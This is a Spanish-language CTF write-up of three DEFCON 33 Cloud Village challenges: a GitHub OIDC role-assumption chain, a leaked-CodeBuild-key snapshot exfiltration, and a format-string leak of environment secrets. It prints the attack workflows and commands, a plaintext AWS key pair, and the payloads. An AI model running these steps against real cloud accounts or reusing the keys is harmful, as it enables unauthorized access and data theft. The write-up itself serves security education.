WriteUp: Cloud Village CTF DEFCON 33
¡Una vez más, no pudimos resistir la llamada del scoreboard de un CTF! 🎯 Esta vez, participamos en el Cloud Village CTF en DEFCON 33.
¡Conseguimos resolver 13 de 25 retos y asegurar un top 10 de 146 equipos!
Nada mal para solo tres personas... especialmente porque también estábamos ajustando los últimos detalles para nuestro workshop de Cloud Village: Level Up Your CI/CD: Building a secure pipeline with OSS. 🤯
Hablaremos más sobre este tema en futuros posts, mientras tanto podéis echar un vistazo al repositorio del workshop.
Ahora, ¡vamos con los writeups! 🤘
Os traemos tres retos bastante interesantes que muestran diferentes aspectos de vulnerabilidades de seguridad en la nube: CI/CD misconfigurations, drift de infraestructura, y explotación de binarios clásica pero en contenedores en la nube.
Action Theft Repo ~ 890
Análisis Inicial
El reto comenzaba con un bucket S3 que contenía un archivo HTML que hacía referencia a una organización de GitHub: HEXNOVA404.
GitHub Actions Leak
Investigando los repositorios de la organización, descubrimos un leak de credenciales en un log de GitHub Actions workflow:
Los logs del workflow exponían dos valores codificados en base64:
- Role ARN:
YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=
- Secret ID:
aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==
Decodificándolos revelamos un ARN de rol AWS y un ID de secreto:
echo 'YXJuOmF3czppYW06OjE3MDk3NDUwNjUxNTpyb2xlL2dpdGh1Yi1kZXBsb3ltZW50LXJvbGU=' | base64 -d
arn:aws:iam::170974506515:role/github-deployment-role
echo 'aW50ZXJuYWwvc2VjcmV0cy9pZC12Mg==' | base64 -d
internal/secrets/id-v2
Exploiting the GitHub OIDC Trust Relationship
Esto tenía todas las vibras del reto del año pasado Warden's Ruse, así que creamos un fork privado e intentamos asumir el rol expuesto usando OIDC y obtener el secreto de AWS Secrets Manager.
name: ctf
on:
workflow_dispatch:
permissions:
id-token: write
contents: read
jobs:
tf:
runs-on: ubuntu-latest
steps:
- name: Configure AWS credentials via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::170974506515:role/github-deployment-role
role-session-name: github-deployment-role
aws-region: us-west-2
- name: Get secret
run: |
SECRET_JSON=$(aws secretsmanager get-secret-value \
--secret-id internal/secrets/id-v2 \
--region us-west-2 \
--query 'SecretString' \
--output text)
EXTID=$(echo "$SECRET_JSON" | jq -r '.external_id')
echo "extid: $EXTID"
¡Secreto obtenido! 🎉 Un external ID que nos será útil más adelante.
Segundo Assume Role
En paralelo, descubrimos un gist público dentro de la misma organización:
Revisando el historial de revisiones encontramos partes eliminadas que contenían:
- Otro role ARN:
arn:aws:iam::170974506515:role/prod-readonly-auditor
- El nombre de bucket S3:
ci-deployment-logsv1
- Una referencia al requisito del external ID
Escalada de Privilegios y Extracción de la Flag
Usando el external ID del secreto, ahora podíamos asumir el rol de "auditor de producción" y obtener la flag del bucket S3:
- name: Assume role with external id and retrieve flag
run: |
# Asumimos el rol de auditor de producción usando el external ID
CREDS=$(aws sts assume-role \
--role-arn "arn:aws:iam::170974506515:role/prod-readonly-auditor" \
--role-session-name "pivot" \
--external-id "$EXTID" \
--output json)
# Configuramos las nuevas credenciales
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')
# Accedemos al bucket S3 y recuperamos la flag
aws s3 cp s3://ci-deployment-logsv1/ci-deploy-output.log -
(bueno, para ser sinceros primero hicimos un aws s3 ls
para saber el nombre del archivo 😅)
¡Boom! 💥 ¡La flag es nuestra!
Impacto en el Mundo Real
Este reto demuestra perfectamente una cadena de vulnerabilidades típicas de pipelines CI/CD reales:
- Logs públicos de GitHub Actions exponiendo información sensible
- Relaciones de confianza OIDC demasiado permisivas permitiendo a cualquier usuario de GitHub asumir roles
- Información sensible en el historial de revisiones que están "eliminadas" pero siguen siendo accesibles
Pipeline Drift ~ 870
Análisis Inicial
"Drift" es un término usado con infraestructura que se ha desviado de su estado esperado, a veces causando brechas de seguridad. Como ya teníamos unas credenciales de AWS, empezamos con enumeración básica:
aws sts get-caller-identity
{
"UserId": "AIDAXMQAGGFOSPOD3JJXA",
"Account": "507880288605",
"Arn": "arn:aws:iam::507880288605:user/ctf_player"
}
Dada la descripción del reto, buscamos proyectos CodeBuild en las regiones de AWS usando un simple script (check_codebuild_regions.sh):
bash check_codebuild_regions.sh
Checking CodeBuild projects across all default AWS regions...
==========================================================
Current AWS Identity:
{
"UserId": "AIDAXMQAGGFOSPOD3JJXA",
"Account": "507880288605",
"Arn": "arn:aws:iam::507880288605:user/ctf_player"
}
Checking region: us-east-1
❌ No projects found
Checking region: us-east-2
❌ No projects found
Checking region: us-west-1
❌ No projects found
Checking region: us-west-2
✅ Found projects in us-west-2:
- legacy-project
^C
Encontramos legacy-project
en la región us-west-2
. 🔍
CodeBuild Misconfiguration
Revisando el proyecto de CodeBuild "legacy" vimos que tenía algunos secretos en texto plano:
[...]
"environmentVariables": [
{
"name": "AWS_ACCESS_KEY_ID",
"value": "AKIAXMQAGGFO5DD6NFK7",
"type": "PLAINTEXT"
},
{
"name": "AWS_SECRET_ACCESS_KEY",
"value": "3Hlzlj+3h2w4Z7L5qZ6JmjRjs1WonB87ujw4nHVo",
"type": "PLAINTEXT"
}
],
[...]
¿Por qué decidí revisar esto?
Bueno... aquí Andoni al habla, trabajo para Prowler, así que quería ver si podía ser útil en el CTF. Lo estaba ejecutando en paralelo mientras probaba cosas para ver qué posibles configuraciones incorrectas podía tener el servicio CodeBuild.
¡Y fue útil!
Arqueología de Infraestructura
Usando las credenciales filtradas, descubrimos el "drift", aparentemente infraestructura "vieja" que debería haberse borrado.
Y por supuesto usé Prowler de nuevo para enumerar qué recursos podían acceder estas nuevas credenciales.
El escaneo reveló un snapshot RDS llamado legacy-app-db-snapshot
, muy sospechoso 🤨.
Explotación del Snapshot
El snapshot ya estaba compartido con cuentas externas, así que añadimos nuestra propia cuenta a la lista de acceso:
aws rds modify-db-snapshot-attribute \
--db-snapshot-identifier "legacy-app-db-snapshot" \
--attribute-name "restore" \
--values-to-add "[ACCOUNT_ID]" \
--region us-west-2
Y en lugar de restaurar toda la base de datos, exportamos los datos del snapshot a S3 para analizarlos:
aws s3 mb s3://rds-snapshot-export-ctf-analysis --region us-west-2
aws rds start-export-task \
--export-task-identifier "legacy-export-analysis" \
--source-arn "arn:aws:rds:us-west-2:507880288605:snapshot:legacy-app-db-snapshot" \
--s3-bucket-name "rds-snapshot-export-ctf-analysis" \
--iam-role-arn "arn:aws:iam::[ACCOUNT]:role/rds-snapshot-export-role" \
--region "us-west-2"
Después de descargar los archivos Parquet, analizamos el contenido de la base de datos usando un visor de Parquet online y encontramos la flag en la tabla secrets
.
Impacto en el Mundo Real
Este reto demuestra perfectamente por qué una gestión adecuada del ciclo de vida de la infraestructura es crucial. Snapshots antiguos, recursos no utilizados y datos huérfanos pueden convertirse en problemas de seguridad.
Y una vez más hay que decirlo, no hardcodees credenciales, por favor.
TimeBomb ~ 850
Análisis Inicial
Este reto nos llevó de vuelta a los fundamentos clásicos de explotación binaria, pero en un entorno cloud contenerizado. El reto empezaba con un contenedor de Docker que contenía un binario en C.
Análisis del Código
Examinando el código fuente encontramos la vulnerabilidad:
void vuln() {
char buffer[512];
puts("[-----------------------------------------]");
puts("[ TIMEBOMB TERMINAL: TERMINAL INTERFACE ]");
puts("[-----------------------------------------]");
puts(" [CLASSIFIED] Authorization required...");
printf("Enter your OVERRIDE CODE: ");
fflush(stdout);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); // (1)!
printf("\n[-] Done.\n");
fflush(stdout);
exit(0);
}
- Vulnerabilidad de Format String: La llamada
printf(buffer)
imprime directamente la entrada del usuario sin un especificador de formato.
Confirmando la vulnerabilidad
Confirmamos el bug de format string con una simple prueba:
# Input
%x.%x.%x.%x.%x.%x.%x.%x
# Esto reveló el contenido del stack en hexadecimal, confirmando la vulnerabilidad
Para localizar nuestra entrada en el stack:
# Input
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
# Encontramos nuestra entrada (AAAA = 0x41414141) en la posición 6 del stack
Claude Code fue muy útil proporcionando guía y scripts para probar rápidamente las ideas. Podéis encontrarlos aquí.
Descubriendo el layout del stack
Filtrando sistemáticamente posiciones (%1$p
, %2$p
, etc.), podemos mapear:
- Ubicación de nuestra entrada (posición 6) - donde aparece "AAAA"
- Direcciones de retorno - punteros de código que podríamos sobrescribir
- Direcciones de Libc (posiciones 18-19) - revelan base ASLR
- Punteros de entorno - podrían apuntar a variable FLAG
- Direcciones del stack - objetivos potenciales de escritura
Veamos si podemos encontrar la flag en las variables de entorno:
# Extracción sistemática de variables de entorno
%105$s # AWS_EXECUTION_ENV=AWS_ECS_FARGATE
%110$s # LAMBDA_URL=https://yavdhl4qozqpiugwirgyfhj4hm0hpykh.lambda-url.us-west-1.on.aws/
%115$s # FLAG=FLAG-{Reverse7heBombt0trigg3rflagc4fb5} ✅
¡La flag estaba escondida a plena vista en la posición 115 del stack!
Impacto en el Mundo Real
Incluso en entornos cloud, vulnerabilidades "clásicas" como este bug siguen siendo relevantes. El aislamiento de los contenedores normalmente no protege contra las vulnerabilidades a nivel de aplicación.
Repositorio y otros retos
Hemos preparado un repositorio con writeups de los demás retos que resolvimos, creado con la increíble ayuda de @sanchezpaco y @pedroot, que resolvieron la mayoría de los retos. 🔝
Podéis encontrarlo aquí: CTF Cloud Village DEFCON 33 .
Conclusiones
El CTF de la Cloud Village continúa demostrando que la seguridad cloud requiere entender tanto los fundamentos de seguridad tradicionales como los vectores de ataque nativos de nube.
Un saludo especial a los organizadores de Cloud Village por otro CTF excelente que combina escenarios cloud realistas con retos técnicos atractivos.
Por cierto, estos somos nosotros el primer día en la entrada de DEFCON. Escribiendo este post me acabo de dar cuenta de que estábamos tan enganchados con el CTF que no nos hicimos ninguna foto durante 😂.
¡Si tenéis alguna pregunta sobre nuestras soluciones o queréis discutir estos vectores de ataque más a fondo, no dudéis en contactar con nosotros!
Saludos, y que la fuerza os acompañe.